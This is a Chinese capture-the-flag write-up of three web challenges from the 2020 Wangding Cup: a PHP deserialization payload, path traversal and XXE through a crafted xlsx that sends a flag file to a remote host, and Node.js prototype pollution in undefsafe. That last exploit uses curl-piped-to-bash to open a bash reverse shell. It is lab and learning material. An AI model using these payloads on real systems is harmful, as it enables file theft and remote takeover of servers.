[網鼎杯 2020 青龍組]前言
第一次網鼎杯,
就……哎,一言難盡。加油吧。
AreUSerialz
大佬萌說是PHP7.x的檢測問題直接把protected改成public就行
O:11:"FileHandler":4:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}
fileJava
經過簡單測試發現就是Servlet+Jsp的集合
payload1:
http://dede6dc721724e09803ef969e7fde1f73ec217cbe7b9401c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../web.xml
web.xml(配置文件,基本上不知道目錄結構的話看這個就夠了)
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<display-name>file_in_java</display-name>
<welcome-file-list>
<welcome-file>upload.jsp</welcome-file>
</welcome-file-list>
<servlet>
<description></description>
<display-name>UploadServlet</display-name>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>ListFileServlet</display-name>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>DownloadServlet</display-name>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
</web-app>
其中的displayname也印證了顯示的file_in_java為什么有upload.jsp。
welcome-file-list是默認的首頁顯示upload.jsp
<display-name>file_in_java</display-name>
<welcome-file-list>
<welcome-file>upload.jsp</welcome-file>
</welcome-file-list>
再往下的
cn.abc.servlet.xxxxxxx都是包名順着目錄去找xxxxx.class(字節碼)文件
下載各類java文件。
整個filejava的詳細的源碼放在鏈接里
https://www.cnblogs.com/h3zh1/p/12868122.html
/DownloadServlet
?filename=../../../classes/cn/abc/servlet/UploadServlet.class
?filename=../../../classes/cn/abc/servlet/ListFileServlet.class
?filename=../../../classes/cn/abc/servlet/UploadServlet.class
?filename=../../../../upload.jsp
?filename=../../../../META-INF/MANIFEST.MF
把所有的文件都下載下來了幾乎,好像還有個list.jsp、message.jsp。都在源碼的請求轉發處體現了。
找點
菜雞的我沒明白具體的getshell或者文件讀取的方法(提一句),才把所有的都下載下來。
后來其他人說應該是xxe啥的,具體觸發代碼,在下方寫出來。
xlsx文件也可xxe,新技能新姿勢! (xxe白痴,xml不是我的強項,比賽時候就8會寫了,昨個賽后研究了一下 )。
看了很多文章,比如:https://xz.aliyun.com/t/3357,看太多了篇了。
再往后就是復現時總是帶不出內容,然后開始不停的問大師傅,終於明白了。
(mm獅虎萌)
filename.startsWith("excel-") && "xlsx".equals(fileExtName)
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
}
構造xxe
新建xlsx文件,改后綴名為zip,解壓修改[Content_Types].xml的內容。
[Content_Types].xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://174.1.57.28/file.dtd">
%remote;%int;%send;
]>
保存后把文件夾壓縮回.zip,然后改回后綴為.xlsx。
在自己服務器的網站根目錄新建一個,因為我是buu復現的,所以開buu的靶機即可,
apache服務默認開啟的。
file.dtd文件
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://174.1.57.28:2333?h3zh1=%file;'>">
開啟監聽
nc -lvvp 2333
上傳excel-***.xlsx文件
一定要用excel-開頭。有代碼檢測了。
上面提到過。
filename.startsWith("excel-") && "xlsx".equals(fileExtName)
成功帶入flag內容
[notes]
好像不大會,晚些復現……
好了,開始。
這是我接觸的第一道nodejs題( js 白痴 )。
不過看着還可以,不那么難受,污染原理卡了我一天。
在最后分析的時候出現了一個不明白的點,於是實際操作了一下,nodejs安裝參考:
源碼
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');
var app = express();
class Notes {
constructor() { // 好像是構造函數
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}
// 以下是定義的各種成員方法
write_note(author, raw_note) { //成員方法
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}
get_note(id) { //成員方法
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
edit_note(id, author, raw) { //成員方法 感覺是這了
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
get_all_notes() { //成員方法
return this.note_list;
}
remove_note(id) {
delete this.note_list[id];
}
}
var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});
app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})
app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})
app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})
app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});
app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});
const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
分析
第一段,參考http://nodejs.cn/api/modules/require.html。
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');
這里大致是引入了一些模塊,和文件什么的。
下面這一段大體是定義了一個Notes類。
class Notes {
constructor() { // 好像是構造函數
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}
// 以下是定義的各種成員方法
write_note(author, raw_note) { //成員方法
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}
get_note(id) { //成員方法
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
edit_note(id, author, raw) { //成員方法 感覺是這了
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
get_all_notes() { //成員方法
return this.note_list;
}
remove_note(id) {
delete this.note_list[id];
}
}
觸發代碼段
這里其實應該是快速掃描,審計代碼的時候先掃到得關鍵信息,因為我萌就是為了getshell 或者 read文件或者 bypass等等。
要先找讓我們能眼前一亮得代碼段,還有可以進行傳參的代碼段。
第一點發現,status路由觸發了/bin/bash我們可以考慮從這入手。
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})
我們可以發現commands是以字典方式存的,這里我萌只發現了uptime和free -m這兩條shell指令。
所以還是有點摸不到頭腦。這時候就需要多看看別的了,但是實際能發現的其他東西很少。
裂開了
后面的話基本就是看大佬的wp了。
get_note和edit_note涉及到一個undefsafe 。
看大佬的博客和參考鏈接得到的信息,英文也沒關系,我是google翻譯的。
部分翻譯結果截圖如下。
好!
大概明確了,undefsafe是不安全的,有兩種污染方式。本題應該是屬於第二種,按路徑定義屬性。
摘要
按路徑定義屬性
有一些JavaScript庫使用API根據給定的路徑在對象上定義屬性值。通常受影響的函數包含以下簽名:
theFunction(object, path, value)
如果攻擊者可以控制“路徑”的值,則可以將此值設置為
_proto_.myValue
。myValue
然后將其分配給對象類的原型。
可能現在會有點小小的疑惑。
__ proto __這個東西
不清楚得話多找幾個解析叭。
注入點(污染點)
可以在id處用__ proto __
進行拼接,造成污染
edit_note(id, author, raw) { //成員方法 感覺是這了
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
比如id ='_proto_'+'.author'
那么的note_list就被成功污染。
污染原理,參考鏈接中的圖片叭:https://blog.csdn.net/qq_41107295/article/details/95789944。
大概分析到這得時候……又卡了…………真的菜………………怎么觸發得command字典啊………………
安裝nodejs之后,簡單測試了幾個代碼,大致有了一點理解,但是還是沒懂。
一天之后……zz
找到了寫了題解得w4nder獅虎問了一下,被驚醒了一樣。
可以參考下圖。
第一張
第二張
污染原因:同種數據結構!
我一直在疑惑commands和note_list之間為什么會造成污染,形成聯系。
問了獅虎幡然醒悟:同一種數據結構就是一個類啊!這么簡單的理解,我竟然卡了這么久(wtcl)。
復現得獅虎得代碼。
a = {"a":1,"b":2}
b = {}
b.__proto__.c=333
for (let i in a){ console.log(i)}
構造
因為被污染之后程序便會崩,而且注入錯誤的時候也會出現一些奇怪的東西,所以我們只要彈shell即可。
buu監聽靶機,寫shell.txt
bash -i >& /dev/tcp/174.1.75.118/2333 0>&1
edit_note路由處post
id=__proto__&author=curl http://174.1.75.118/shell.txt|bash&raw=hello
提示:post完之后出現something broke是正常的,我當時重復了仨小時,以為自己做錯了。
監聽
nc -lvvp 2333
訪問status路由觸發,反彈shell
參考鏈接:
https://www.jianshu.com/p/3d756c5bba16
https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940